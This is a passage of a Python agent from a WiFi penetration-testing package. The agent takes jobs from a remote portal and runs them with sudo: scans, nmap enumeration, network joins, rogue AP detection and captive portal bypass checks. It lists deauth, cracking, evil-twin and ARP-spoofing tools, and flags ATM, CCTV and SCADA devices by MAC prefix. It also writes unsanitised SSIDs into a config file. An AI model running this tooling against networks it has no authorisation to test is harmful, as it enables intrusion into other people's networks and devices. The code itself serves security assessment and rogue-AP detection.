aegis-node 0.1.0__py3-none-any.whl

aegis_node/agent.py

@@ -0,0 +1,3104 @@
+#!/usr/bin/env python3
+"""Aegis WiFi Node Agent — connects a local USB WiFi adapter to the Aegis portal.
+
+Usage:
+    aegis-node connect                  # browser-based auth (recommended)
+    aegis-node connect --no-browser     # show URL instead of opening browser
+    aegis-node preflight                # check system readiness
+    aegis-node preflight --install      # auto-install missing tools
+"""
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import os
+import re
+import signal
+import subprocess
+import sys
+import threading
+import time
+
+import requests
+
+logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(message)s')
+log = logging.getLogger('aegis-node')
+
+POLL_INTERVAL = 3
+HEARTBEAT_INTERVAL = 30
+MAX_RECONNECT_DELAY = 120
+RUNNING = True
+
+# ── ANSI colors ──────────────────────────────────────────────────────────
+
+_RESET = '\033[0m'
+_BOLD = '\033[1m'
+_DIM = '\033[2m'
+_BLUE = '\033[38;2;45;107;255m'   # Divolt Blue #2D6BFF
+_CYAN = '\033[36m'
+_GREEN = '\033[32m'
+_RED = '\033[31m'
+_YELLOW = '\033[33m'
+_WHITE = '\033[97m'
+_GREY = '\033[90m'
+
+BANNER = f"""{_BLUE}{_BOLD}
+  █████╗ ███████╗ ██████╗ ██╗███████╗
+ ██╔══██╗██╔════╝██╔════╝ ██║██╔════╝
+ ███████║█████╗  ██║  ███╗██║███████╗
+ ██╔══██║██╔══╝  ██║   ██║██║╚════██║
+ ██║  ██║███████╗╚██████╔╝██║███████║
+ ╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝{_RESET}
+{_CYAN} ░▒▓ WiFi Node Agent{_RESET}  {_DIM}v0.1.0{_RESET}  {_GREY}by Divolt{_RESET}
+{_DIM} ──────────────────────────────────────{_RESET}
+"""
+
+
+def _no_color() -> bool:
+    return os.environ.get('NO_COLOR') or not sys.stdout.isatty()
+
+
+# ── Dependency management ───────────────────────────────────────────────
+
+CORE_DEPS = {
+    'iw':           {'apt': 'iw',            'required': True,  'desc': 'Wireless interface control'},
+    'ip':           {'apt': 'iproute2',       'required': True,  'desc': 'Network interface management'},
+    'tcpdump':      {'apt': 'tcpdump',        'required': True,  'desc': 'Packet capture'},
+    'nmap':         {'apt': 'nmap',           'required': True,  'desc': 'Network scanning'},
+}
+
+MONITOR_DEPS = {
+    'airmon-ng':    {'apt': 'aircrack-ng',    'required': False, 'desc': 'Monitor mode management'},
+    'airodump-ng':  {'apt': 'aircrack-ng',    'required': False, 'desc': 'Wireless traffic capture'},
+    'aireplay-ng':  {'apt': 'aircrack-ng',    'required': False, 'desc': 'Packet injection / deauth'},
+    'aircrack-ng':  {'apt': 'aircrack-ng',    'required': False, 'desc': 'WPA key cracking'},
+}
+
+ADVANCED_DEPS = {
+    'hashcat':      {'apt': 'hashcat',        'required': False, 'desc': 'GPU-accelerated cracking'},
+    'hcxdumptool':  {'apt': 'hcxdumptool',    'required': False, 'desc': 'PMKID capture'},
+    'hcxpcapngtool':{'apt': 'hcxtools',       'required': False, 'desc': 'Hash conversion'},
+    'hostapd':      {'apt': 'hostapd',        'required': False, 'desc': 'Evil twin AP'},
+    'dnsmasq':      {'apt': 'dnsmasq',        'required': False, 'desc': 'DNS/DHCP for evil twin'},
+    'reaver':       {'apt': 'reaver',         'required': False, 'desc': 'WPS PIN attack'},
+    'tshark':       {'apt': 'tshark',         'required': False, 'desc': 'Protocol analysis'},
+    'arpspoof':     {'apt': 'dsniff',         'required': False, 'desc': 'ARP spoofing (MITM)'},
+    'macchanger':   {'apt': 'macchanger',     'required': False, 'desc': 'MAC address randomisation'},
+}
+
+ALL_DEPS = {**CORE_DEPS, **MONITOR_DEPS, **ADVANCED_DEPS}
+
+
+def check_dependencies() -> dict[str, bool]:
+    """Check which tools are installed. Returns {tool: is_present}."""
+    import shutil
+    return {tool: shutil.which(tool) is not None for tool in ALL_DEPS}
+
+
+def preflight_check(auto_install: bool = False) -> bool:
+    """Run readiness check. Returns True if all required deps present."""
+    import shutil
+
+    c = not _no_color()
+    B, R, G, Y, D, W, CY, GR = (_BOLD, _RESET, _GREEN, _YELLOW, _DIM, _WHITE, _CYAN, _GREY) if c else ('',)*8
+
+    print(f'\n  {CY}{B}PREFLIGHT CHECK{R}')
+    print(f'  {D}{"─" * 40}{R}\n')
+
+    # 1. Check OS
+    import platform
+    print(f'  {D}OS{R}       {W}{platform.system()} {platform.release()}{R}')
+    print(f'  {D}Host{R}     {W}{platform.node()}{R}')
+    is_root = os.geteuid() == 0 if hasattr(os, 'geteuid') else False
+    print(f'  {D}Root{R}     {G + "yes" if is_root else Y + "no (sudo will be requested)"}{R}')
+    print()
+
+    # 2. Check Python dependencies
+    print(f'  {B}Python Dependencies{R}')
+    print(f'  {D}{"─" * 40}{R}')
+    py_ok = True
+    for mod, pkg in [('requests', 'requests')]:
+        try:
+            __import__(mod)
+            print(f'  {G}✓{R} {mod}')
+        except ImportError:
+            print(f'  {_RED if c else ""}✗{R} {mod}  {D}→ pip install {pkg}{R}')
+            py_ok = False
+    print()
+
+    # 3. Check system tools
+    results = {}
+    all_required_ok = True
+    missing_apt: set[str] = set()
+
+    for category, deps, label in [
+        (CORE_DEPS, CORE_DEPS, 'Core (required)'),
+        (MONITOR_DEPS, MONITOR_DEPS, 'Monitor Mode'),
+        (ADVANCED_DEPS, ADVANCED_DEPS, 'Advanced Toolkit'),
+    ]:
+        print(f'  {B}{label}{R}')
+        print(f'  {D}{"─" * 40}{R}')
+        for tool, info in deps.items():
+            present = shutil.which(tool) is not None
+            results[tool] = present
+            if present:
+                mark = f'{G}✓{R}'
+            elif info['required']:
+                mark = f'{_RED if c else ""}✗{R}'
+            else:
+                mark = f'{Y}○{R}'
+            hint = '' if present else f'  {D}→ apt install {info["apt"]}{R}'
+            print(f'  {mark} {tool:<18} {D}{info["desc"]}{R}{hint}')
+            if not present:
+                missing_apt.add(info['apt'])
+                if info['required']:
+                    all_required_ok = False
+        print()
+
+    # 4. Check USB adapter
+    print(f'  {B}USB WiFi Adapter{R}')
+    print(f'  {D}{"─" * 40}{R}')
+    from .adapters import detect_adapters
+    adapters = detect_adapters()
+    if adapters:
+        for a in adapters:
+            cap = []
+            if a['cap_monitor_mode']:
+                cap.append(f'{G}MON{R}')
+            if a['cap_injection']:
+                cap.append(f'{G}INJ{R}')
+            cap_str = ' '.join(cap) if cap else f'{Y}MANAGED{R}'
+            print(f'  {G}✓{R} {W}{a["chipset"]}{R} {D}({a["vid_pid"]}){R}  [{cap_str}]')
+    else:
+        print(f'  {_RED if c else ""}✗{R} No compatible USB WiFi adapter detected')
+        print(f'    {D}Plug in a supported adapter and try again{R}')
+    print()
+
+    # 5. Summary
+    total = len(results)
+    found = sum(results.values())
+    pct = int(found / total * 100) if total else 0
+
+    # Progress bar
+    bar_width = 30
+    filled = int(bar_width * pct / 100)
+    bar_color = G if pct == 100 else (Y if pct >= 60 else (_RED if c else ''))
+    bar = f'{bar_color}{"█" * filled}{D}{"░" * (bar_width - filled)}{R}'
+
+    print(f'  {D}{"─" * 40}{R}')
+    print(f'  {B}READINESS{R}  {bar}  {W}{found}/{total}{R} {D}({pct}%){R}')
+    if not all_required_ok:
+        print(f'  {B}STATUS{R}     {_RED if c else ""}✗ MISSING REQUIRED TOOLS{R}')
+    elif not adapters:
+        print(f'  {B}STATUS{R}     {_RED if c else ""}✗ NO ADAPTER DETECTED{R}')
+    elif pct == 100:
+        print(f'  {B}STATUS{R}     {G}✓ FULLY READY{R}')
+    else:
+        print(f'  {B}STATUS{R}     {Y}◐ PARTIAL ({total - found} optional missing){R}')
+    print(f'  {D}{"─" * 40}{R}\n')
+
+    # 6. Auto-install if requested
+    if auto_install and missing_apt:
+        print(f'  Installing missing packages: {", ".join(sorted(missing_apt))}')
+        apt_cmd = ['sudo', 'apt-get', 'install', '-y'] + sorted(missing_apt)
+        try:
+            subprocess.run(apt_cmd, check=True)
+            print('  ✓ Installation complete — re-running check...\n')
+            return preflight_check(auto_install=False)
+        except subprocess.CalledProcessError as e:
+            print(f'  ✗ apt install failed: {e}')
+            return False
+
+    return all_required_ok and bool(adapters)
+
+
+def _signal_handler(sig, frame):
+    global RUNNING
+    log.info('Shutting down...')
+    RUNNING = False
+
+
+signal.signal(signal.SIGINT, _signal_handler)
+signal.signal(signal.SIGTERM, _signal_handler)
+
+
+# ── HTTP Client ──────────────────────────────────────────────────────────
+
+class AegisNodeClient:
+    def __init__(self, server: str, session_id: int, token: str):
+        self.server = server.rstrip('/')
+        self.session_id = session_id
+        self.token = token
+        self.sess = requests.Session()
+        self.sess.headers.update({
+            'X-WiFi-Node-Session': str(session_id),
+            'X-WiFi-Node-Token': token,
+            'Content-Type': 'application/json',
+        })
+
+    def _url(self, path: str) -> str:
+        return f'{self.server}/api/autobot/wifi-node/{path}'
+
+    def register(self, adapter_info: dict, host_info: dict) -> dict:
+        r = self.sess.post(self._url('register/'), json={
+            'adapter': adapter_info, 'host': host_info,
+        }, timeout=15)
+        r.raise_for_status()
+        return r.json()
+
+    def poll(self) -> dict:
+        r = self.sess.post(self._url('poll/'), json={}, timeout=15)
+        r.raise_for_status()
+        return r.json()
+
+    def send_output(self, job_id: int, text: str):
+        try:
+            self.sess.post(self._url('output/'), json={
+                'job_id': job_id, 'text': text,
+            }, timeout=10)
+        except Exception as e:
+            log.warning('Failed to send output: %s', e)
+
+    def send_result(self, job_id: int, result: dict):
+        r = self.sess.post(self._url('result/'), json={
+            'job_id': job_id, 'result': result,
+        }, timeout=30)
+        r.raise_for_status()
+        return r.json()
+
+    def send_error(self, job_id: int, error: str):
+        r = self.sess.post(self._url('result/'), json={
+            'job_id': job_id, 'error': error,
+        }, timeout=15)
+        r.raise_for_status()
+        return r.json()
+
+
+# ── Output buffer ────────────────────────────────────────────────────────
+
+class OutputBuffer:
+    """Batches terminal output lines and flushes periodically to the portal."""
+
+    FLUSH_INTERVAL = 1.5   # seconds
+    FLUSH_SIZE = 2048      # chars
+
+    def __init__(self, client: AegisNodeClient, job_id: int):
+        self._client = client
+        self._job_id = job_id
+        self._buf: list[str] = []
+        self._lock = threading.Lock()
+        self._last_flush = time.monotonic()
+
+    def write(self, text: str):
+        with self._lock:
+            self._buf.append(text)
+            total = sum(len(s) for s in self._buf)
+            elapsed = time.monotonic() - self._last_flush
+            if total >= self.FLUSH_SIZE or elapsed >= self.FLUSH_INTERVAL:
+                self._do_flush()
+
+    def flush(self):
+        with self._lock:
+            self._do_flush()
+
+    def _do_flush(self):
+        if not self._buf:
+            return
+        text = ''.join(self._buf)
+        self._buf.clear()
+        self._last_flush = time.monotonic()
+        self._client.send_output(self._job_id, text)
+
+
+# ── Command execution ────────────────────────────────────────────────────
+
+def _exec_cmd(buf: OutputBuffer, cmd: list[str], timeout: int = 300,
+              sudo: bool = False) -> tuple[int, str]:
+    """Run a command, streaming output to the portal via buffer."""
+    if sudo and os.geteuid() != 0:
+        cmd = ['sudo'] + cmd
+    try:
+        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
+                                text=True, bufsize=1)
+    except FileNotFoundError:
+        msg = f'Command not found: {cmd[0]}\n'
+        buf.write(msg)
+        buf.flush()
+        return -1, msg
+
+    output_lines = []
+    try:
+        for line in iter(proc.stdout.readline, ''):
+            output_lines.append(line)
+            buf.write(line)
+            if not RUNNING:
+                proc.terminate()
+                break
+        proc.wait(timeout=timeout)
+    except subprocess.TimeoutExpired:
+        proc.kill()
+        output_lines.append('\n[TIMEOUT]\n')
+        buf.write('\n[TIMEOUT]\n')
+    buf.flush()
+    return proc.returncode or 0, ''.join(output_lines)
+
+
+def _run_quiet(cmd: list[str], timeout: int = 30, sudo: bool = False) -> tuple[int, str]:
+    """Run a command silently (no streaming). Returns (code, stdout)."""
+    if sudo and os.geteuid() != 0:
+        cmd = ['sudo'] + cmd
+    try:
+        r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+        return r.returncode, r.stdout + r.stderr
+    except (subprocess.TimeoutExpired, FileNotFoundError, OSError) as e:
+        return -1, str(e)
+
+
+# ── Scan result parser ───────────────────────────────────────────────────
+
+def _parse_iw_scan(raw: str) -> list[dict]:
+    """Parse `iw dev X scan` output into structured network list."""
+    networks = []
+    current: dict | None = None
+    for line in raw.splitlines():
+        if line.startswith('BSS '):
+            if current:
+                networks.append(current)
+            m = re.match(r'BSS ([0-9a-f:]{17})', line)
+            current = {'bssid': m.group(1) if m else '', 'ssid': '', 'signal': '',
+                       'freq': '', 'channel': '', 'encryption': 'Open'}
+        elif current:
+            stripped = line.strip()
+            if stripped.startswith('SSID:'):
+                current['ssid'] = stripped[5:].strip()
+            elif stripped.startswith('freq:'):
+                freq = stripped[5:].strip()
+                current['freq'] = freq
+                current['channel'] = _freq_to_channel(freq)
+            elif stripped.startswith('signal:'):
+                current['signal'] = stripped[7:].strip()
+            elif stripped.startswith('RSN:') or stripped.startswith('WPA:'):
+                current['encryption'] = 'WPA2' if 'RSN' in stripped else 'WPA'
+            elif 'CCMP' in stripped and current['encryption'] in ('WPA', 'WPA2'):
+                pass
+            elif 'Group cipher: TKIP' in stripped:
+                current['encryption'] = current['encryption'] + '/TKIP'
+            elif 'WEP' in stripped and current['encryption'] == 'Open':
+                current['encryption'] = 'WEP'
+    if current:
+        networks.append(current)
+    return networks
+
+
+def _freq_to_channel(freq_str: str) -> str:
+    """Convert frequency MHz string to channel number."""
+    try:
+        freq = int(freq_str.split('.')[0])
+    except (ValueError, IndexError):
+        return ''
+    if 2412 <= freq <= 2484:
+        if freq == 2484:
+            return '14'
+        return str((freq - 2407) // 5)
+    elif 5180 <= freq <= 5825:
+        return str((freq - 5000) // 5)
+    return ''
+
+
+# ── OUI vendor database (critical infrastructure device identification) ───
+
+CRITICAL_INFRA_OUIS: dict[str, str] = {
+    # ATM / POS / Banking
+    '00:0e:7f': 'NCR (ATM/POS)',
+    '00:0d:28': 'NCR (ATM)',
+    '00:15:b9': 'NCR Financial',
+    '00:1c:39': 'Diebold Nixdorf (ATM)',
+    '00:0a:e4': 'Diebold (ATM)',
+    '00:1f:45': 'Verifone (POS)',
+    '00:26:32': 'Verifone (POS)',
+    '00:1b:b4': 'Ingenico (POS)',
+    'b4:a8:28': 'Ingenico (POS)',
+    '00:02:74': 'Wincor Nixdorf (ATM)',
+    # CCTV / IP Cameras / NVR
+    'c0:56:e3': 'Hikvision (CCTV)',
+    '28:57:be': 'Hikvision (CCTV)',
+    '54:c4:15': 'Hikvision (CCTV)',
+    '44:19:b6': 'Hikvision (CCTV)',
+    'a4:14:37': 'Hikvision (CCTV)',
+    'e0:50:8b': 'Hikvision (CCTV)',
+    '4c:bd:8f': 'Dahua (CCTV)',
+    '3c:ef:8c': 'Dahua (CCTV)',
+    'a0:bd:1d': 'Dahua (CCTV)',
+    '00:40:8c': 'Axis Communications (IP Camera)',
+    'ac:cc:8e': 'Axis Communications (IP Camera)',
+    'b8:a4:4f': 'Axis Communications (IP Camera)',
+    '00:80:f0': 'Panasonic (CCTV/BMS)',
+    '00:1e:0b': 'Panasonic (CCTV)',
+    '00:1f:e2': 'Hanwha Techwin (CCTV)',
+    'c4:ae:12': 'Samsung Techwin (CCTV)',
+    '00:18:85': 'Avigilon (CCTV)',
+    '00:24:a4': 'Vivotek (IP Camera)',
+    # SCADA / ICS / Building Management
+    '00:40:9d': 'Siemens (SCADA/ICS)',
+    '08:00:06': 'Siemens Industrial',
+    '00:0e:8c': 'Siemens Building',
+    '00:01:05': 'Beckhoff (PLC/ICS)',
+    '00:60:35': 'ABB/Asea Brown Boveri (ICS)',
+    '00:30:11': 'Honeywell (BMS/Access)',
+    '00:10:c6': 'Honeywell (BMS)',
+    '00:06:9d': 'Schneider Electric (SCADA)',
+    '00:80:e1': 'Schneider Electric',
+    '00:00:54': 'Schneider Automation',
+    '00:20:4a': 'Rockwell/Allen-Bradley (PLC)',
+    '00:1d:9c': 'Rockwell Automation',
+    '00:0b:ab': 'Johnson Controls (BMS)',
+    # Access Control / Physical Security
+    '00:17:43': 'HID Global (Access Control)',
+    '00:24:a1': 'ASSA ABLOY (Locks)',
+    '00:16:c7': 'Lenel (Access Control)',
+    '00:18:ae': 'TVT / ZKTeco (Access)',
+    # Network Infrastructure (often hidden on critical nets)
+    '00:0c:29': 'VMware (Virtual Infra)',
+    '00:0d:3a': 'Microsoft (Azure/Hyper-V)',
+    '00:50:56': 'VMware (ESXi)',
+}
+
+
+def _oui_lookup(mac: str) -> str:
+    """Look up MAC OUI prefix against critical infrastructure database."""
+    prefix = mac[:8].lower()
+    return CRITICAL_INFRA_OUIS.get(prefix, '')
+
+
+def _parse_airodump_csv(csv_path: str) -> tuple[list[dict], list[dict]]:
+    """Parse airodump-ng CSV output into (networks, clients) lists."""
+    networks = []
+    clients = []
+    section = ''
+    headers: list[str] = []
+
+    try:
+        with open(csv_path, 'r', errors='replace') as f:
+            for line in f:
+                line = line.strip()
+                if not line:
+                    continue
+                if line.startswith('BSSID') and 'ESSID' in line:
+                    section = 'networks'
+                    headers = [h.strip() for h in line.split(',')]
+                    continue
+                if line.startswith('Station MAC'):
+                    section = 'clients'
+                    headers = [h.strip() for h in line.split(',')]
+                    continue
+                if not section or not headers:
+                    continue
+
+                parts = [p.strip() for p in line.split(',')]
+                if len(parts) < 6:
+                    continue
+
+                if section == 'networks':
+                    bssid = parts[0].strip()
+                    if not re.match(r'^[0-9A-Fa-f:]{17}$', bssid):
+                        continue
+                    essid = parts[-1].strip() if len(parts) > 13 else ''
+                    hidden = not essid or essid.startswith('\\x00')
+                    channel = parts[3].strip() if len(parts) > 3 else ''
+                    power = parts[8].strip() if len(parts) > 8 else ''
+                    privacy = parts[5].strip() if len(parts) > 5 else ''
+                    vendor = _oui_lookup(bssid)
+                    networks.append({
+                        'bssid': bssid,
+                        'ssid': essid if not hidden else '',
+                        'hidden': hidden,
+                        'channel': channel,
+                        'power_dbm': power,
+                        'encryption': privacy,
+                        'vendor': vendor,
+                        'critical_infra': bool(vendor),
+                    })
+                elif section == 'clients':
+                    station_mac = parts[0].strip()
+                    if not re.match(r'^[0-9A-Fa-f:]{17}$', station_mac):
+                        continue
+                    bssid = parts[5].strip() if len(parts) > 5 else ''
+                    probed = parts[-1].strip() if len(parts) > 6 else ''
+                    vendor = _oui_lookup(station_mac)
+                    clients.append({
+                        'station_mac': station_mac,
+                        'bssid': bssid,
+                        'probed_ssids': probed,
+                        'vendor': vendor,
+                        'critical_infra': bool(vendor),
+                    })
+    except FileNotFoundError:
+        pass
+
+    return networks, clients
+
+
+# ── Monitor mode helpers ─────────────────────────────────────────────────
+
+def _enter_monitor_mode(iface: str, buf: OutputBuffer | None = None) -> str | None:
+    """Switch interface to monitor mode. Returns monitor interface name or None."""
+    if buf:
+        buf.write(f'[*] Entering monitor mode on {iface}...\n')
+
+    # Try airmon-ng first (handles driver quirks)
+    code, out = _run_quiet(['airmon-ng', 'check', 'kill'], sudo=True)
+    code, out = _run_quiet(['airmon-ng', 'start', iface], sudo=True)
+    if code == 0:
+        m = re.search(r'monitor mode.*enabled.*on\s+\[?(\w+)', out, re.IGNORECASE)
+        if m:
+            mon_iface = m.group(1)
+            if buf:
+                buf.write(f'[+] Monitor mode active: {mon_iface}\n')
+            return mon_iface
+        # airmon-ng often renames to wlan0mon
+        mon_iface = iface + 'mon'
+        _, check = _run_quiet(['iw', 'dev'])
+        if mon_iface in check:
+            if buf:
+                buf.write(f'[+] Monitor mode active: {mon_iface}\n')
+            return mon_iface
+
+    # Manual fallback
+    if buf:
+        buf.write('[*] airmon-ng fallback — manual monitor mode...\n')
+    _run_quiet(['ip', 'link', 'set', iface, 'down'], sudo=True)
+    code, _ = _run_quiet(['iw', 'dev', iface, 'set', 'type', 'monitor'], sudo=True)
+    _run_quiet(['ip', 'link', 'set', iface, 'up'], sudo=True)
+    if code == 0:
+        if buf:
+            buf.write(f'[+] Monitor mode active: {iface}\n')
+        return iface
+
+    if buf:
+        buf.write('[-] Failed to enter monitor mode\n')
+    return None
+
+
+def _exit_monitor_mode(iface: str, original_iface: str, buf: OutputBuffer | None = None):
+    """Restore interface to managed mode."""
+    if buf:
+        buf.write(f'[*] Restoring {original_iface} to managed mode...\n')
+    _run_quiet(['airmon-ng', 'stop', iface], sudo=True)
+    # Restart NetworkManager for managed-mode reconnection
+    _run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
+    if buf:
+        buf.write('[+] Managed mode restored\n')
+        buf.flush()
+
+
+# ── Job executors (P1: managed-mode) ─────────────────────────────────────
+
+def execute_scan(client: AegisNodeClient, job: dict):
+    """WiFi network scan — active scan with structured output."""
+    jid = job['job_id']
+    iface = job.get('parameters', {}).get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    buf.write(f'[*] Active WiFi scan on {iface}...\n')
+    code, raw = _exec_cmd(buf, ['iw', 'dev', iface, 'scan'], timeout=60, sudo=True)
+
+    if code != 0:
+        client.send_error(jid, f'Scan failed (exit {code}): {raw[:500]}')
+        return
+
+    networks = _parse_iw_scan(raw)
+    buf.write(f'\n[+] Found {len(networks)} network(s)\n')
+    for n in networks[:50]:
+        buf.write(f'    {n["bssid"]}  ch{n["channel"]:>3s}  {n["signal"]:>10s}  '
+                  f'{n["encryption"]:<10s}  {n["ssid"]}\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'networks': networks[:200],
+        'network_count': len(networks),
+        'interface': iface,
+        'raw_output': raw[:50000],
+    })
+
+
+def execute_internal_scan(client: AegisNodeClient, job: dict):
+    """Nmap internal network scan after joining a network."""
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target = targets.get('network', targets.get('ip', '192.168.1.0/24'))
+    params = job.get('parameters', {})
+    iface = params.get('interface', '')
+    buf = OutputBuffer(client, jid)
+
+    nmap_args = ['nmap', '-sV', '-O', '--top-ports', '1000']
+    if params.get('fast'):
+        nmap_args = ['nmap', '-F', '-sV']
+    if iface:
+        nmap_args += ['-e', iface]
+    nmap_args.append(target)
+
+    buf.write(f'[*] Internal scan: {" ".join(nmap_args)}\n')
+    code, out = _exec_cmd(buf, nmap_args, timeout=600, sudo=True)
+    if code == 0:
+        client.send_result(jid, {'nmap_output': out[:100000], 'target': target})
+    else:
+        client.send_error(jid, f'Nmap failed (exit {code}): {out[:500]}')
+
+
+def execute_service_enum(client: AegisNodeClient, job: dict):
+    """Full-port service enumeration on a specific host."""
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target = targets.get('ip', '')
+    if not target:
+        client.send_error(jid, 'No target IP specified')
+        return
+    params = job.get('parameters', {})
+    iface = params.get('interface', '')
+    buf = OutputBuffer(client, jid)
+
+    nmap_args = ['nmap', '-sV', '-sC', '-p-']
+    if iface:
+        nmap_args += ['-e', iface]
+    nmap_args.append(target)
+
+    buf.write(f'[*] Service enumeration on {target}\n')
+    code, out = _exec_cmd(buf, nmap_args, timeout=900, sudo=True)
+    if code == 0:
+        client.send_result(jid, {'enum_output': out[:100000], 'target': target})
+    else:
+        client.send_error(jid, f'Enumeration failed (exit {code}): {out[:500]}')
+
+
+def execute_rogue_detect(client: AegisNodeClient, job: dict):
+    """Detect rogue APs by comparing visible networks against known inventory."""
+    jid = job['job_id']
+    iface = job.get('parameters', {}).get('interface', 'wlan0')
+    targets = job.get('targets', {})
+    known_ssids = targets.get('known_ssids', [])
+    known_bssids = {b.lower() for b in targets.get('known_bssids', [])}
+    buf = OutputBuffer(client, jid)
+
+    buf.write(f'[*] Rogue AP detection scan on {iface}...\n')
+    code, raw = _exec_cmd(buf, ['iw', 'dev', iface, 'scan'], timeout=60, sudo=True)
+    if code != 0:
+        client.send_error(jid, f'Rogue detect scan failed (exit {code}): {raw[:500]}')
+        return
+
+    networks = _parse_iw_scan(raw)
+    anomalies = []
+
+    ssid_to_bssids: dict[str, list[str]] = {}
+    for n in networks:
+        ssid_to_bssids.setdefault(n['ssid'], []).append(n['bssid'])
+
+    for ssid, bssids in ssid_to_bssids.items():
+        if not ssid:
+            continue
+        if ssid in known_ssids:
+            for bssid in bssids:
+                if known_bssids and bssid.lower() not in known_bssids:
+                    anomalies.append({
+                        'type': 'unknown_bssid_for_known_ssid',
+                        'severity': 'high',
+                        'ssid': ssid, 'bssid': bssid,
+                        'detail': f'Known SSID "{ssid}" seen on unexpected BSSID {bssid}',
+                    })
+        if len(bssids) > 1 and ssid not in known_ssids:
+            pass
+        for n in networks:
+            if n['ssid'] == ssid and n['encryption'] == 'Open' and ssid in known_ssids:
+                anomalies.append({
+                    'type': 'open_known_ssid',
+                    'severity': 'critical',
+                    'ssid': ssid, 'bssid': n['bssid'],
+                    'detail': f'Known SSID "{ssid}" is broadcasting OPEN (evil twin?)',
+                })
+
+    buf.write(f'\n[+] Scanned {len(networks)} networks, {len(anomalies)} anomalies\n')
+    for a in anomalies:
+        buf.write(f'    [{a["severity"].upper()}] {a["detail"]}\n')
+    if not anomalies:
+        buf.write('    No rogue APs detected\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'networks': networks[:200],
+        'anomalies': anomalies,
+        'known_ssids_checked': known_ssids,
+        'type': 'rogue_detect',
+    })
+
+
+def execute_network_join(client: AegisNodeClient, job: dict):
+    """Connect to a WiFi network with provided credentials."""
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    ssid = targets.get('ssid', '')
+    psk = targets.get('psk', '')
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    if not ssid:
+        client.send_error(jid, 'No SSID specified')
+        return
+
+    buf.write(f'[*] Connecting to "{ssid}" on {iface}...\n')
+
+    # Ensure NetworkManager is running (may have been killed by airmon-ng)
+    _run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
+    time.sleep(2)
+
+    if psk:
+        code, out = _exec_cmd(buf, ['nmcli', 'dev', 'wifi', 'connect', ssid,
+                                     'password', psk, 'ifname', iface], timeout=30)
+    else:
+        code, out = _exec_cmd(buf, ['nmcli', 'dev', 'wifi', 'connect', ssid,
+                                     'ifname', iface], timeout=30)
+
+    if code != 0:
+        # Fallback to wpa_supplicant
+        buf.write('[*] nmcli failed, trying wpa_supplicant...\n')
+        wpa_conf = '/tmp/aegis_wpa.conf'
+        conf_block = f'network={{\n    ssid="{ssid}"\n'
+        if psk:
+            conf_block += f'    psk="{psk}"\n'
+        else:
+            conf_block += '    key_mgmt=NONE\n'
+        conf_block += '}\n'
+
+        with open(wpa_conf, 'w') as f:
+            f.write(conf_block)
+        _run_quiet(['killall', 'wpa_supplicant'], sudo=True)
+        code, out = _exec_cmd(buf, ['wpa_supplicant', '-B', '-i', iface,
+                                     '-c', wpa_conf], timeout=15, sudo=True)
+        if code == 0:
+            buf.write('[*] Requesting DHCP lease...\n')
+            _exec_cmd(buf, ['dhclient', iface], timeout=15, sudo=True)
+
+    time.sleep(3)
+    buf.write('\n[*] Checking connectivity...\n')
+
+    # Get assigned IP
+    _, ip_out = _run_quiet(['ip', 'addr', 'show', iface])
+    buf.write(ip_out + '\n')
+
+    assigned_ip = ''
+    gateway = ''
+    for line in ip_out.splitlines():
+        m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', line)
+        if m:
+            assigned_ip = m.group(1)
+            break
+
+    _, route_out = _run_quiet(['ip', 'route', 'show', 'dev', iface])
+    for line in route_out.splitlines():
+        m = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', line)
+        if m:
+            gateway = m.group(1)
+            break
+
+    # Connectivity test
+    ping_code, ping_out = _run_quiet(['ping', '-c', '3', '-W', '3', '-I', iface, '8.8.8.8'])
+    connected = ping_code == 0
+
+    if connected:
+        buf.write(f'[+] Connected! IP: {assigned_ip}, Gateway: {gateway}\n')
+    else:
+        buf.write(f'[-] Connection established but no internet (IP: {assigned_ip})\n')
+        buf.write(ping_out + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'ssid': ssid,
+        'connected': connected,
+        'assigned_ip': assigned_ip,
+        'gateway': gateway,
+        'interface': iface,
+        'connectivity_test': ping_out[:2000],
+    })
+
+
+def execute_captive_test(client: AegisNodeClient, job: dict):
+    """Test captive portal bypass techniques."""
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    ssid = targets.get('ssid', '')
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    findings = []
+
+    if ssid:
+        buf.write(f'[*] Connecting to captive network "{ssid}" on {iface}...\n')
+        _run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
+        time.sleep(2)
+        _run_quiet(['nmcli', 'dev', 'wifi', 'connect', ssid, 'ifname', iface])
+        time.sleep(3)
+
+    buf.write('[*] Testing captive portal bypass vectors...\n\n')
+
+    # 1. DNS resolution to external DNS
+    buf.write('[1/5] Testing external DNS resolution (8.8.8.8)...\n')
+    code, out = _run_quiet(['nslookup', 'example.com', '8.8.8.8'], timeout=10)
+    dns_bypass = code == 0 and 'NXDOMAIN' not in out and 'timed out' not in out.lower()
+    if dns_bypass:
+        findings.append({'test': 'external_dns', 'result': 'bypass',
+                         'detail': 'External DNS (8.8.8.8) resolves — DNS tunnel feasible'})
+        buf.write('    [!] External DNS resolves — DNS tunnel bypass feasible\n')
+    else:
+        buf.write('    [OK] External DNS blocked\n')
+    buf.flush()
+
+    # 2. Direct IP access (bypass DNS-based captive portal)
+    buf.write('[2/5] Testing direct IP access (1.1.1.1)...\n')
+    code, out = _run_quiet(['curl', '-sk', '--connect-timeout', '5',
+                             '-o', '/dev/null', '-w', '%{http_code}',
+                             'https://1.1.1.1'], timeout=10)
+    direct_ip = out.strip() == '200' if code == 0 else False
+    if direct_ip:
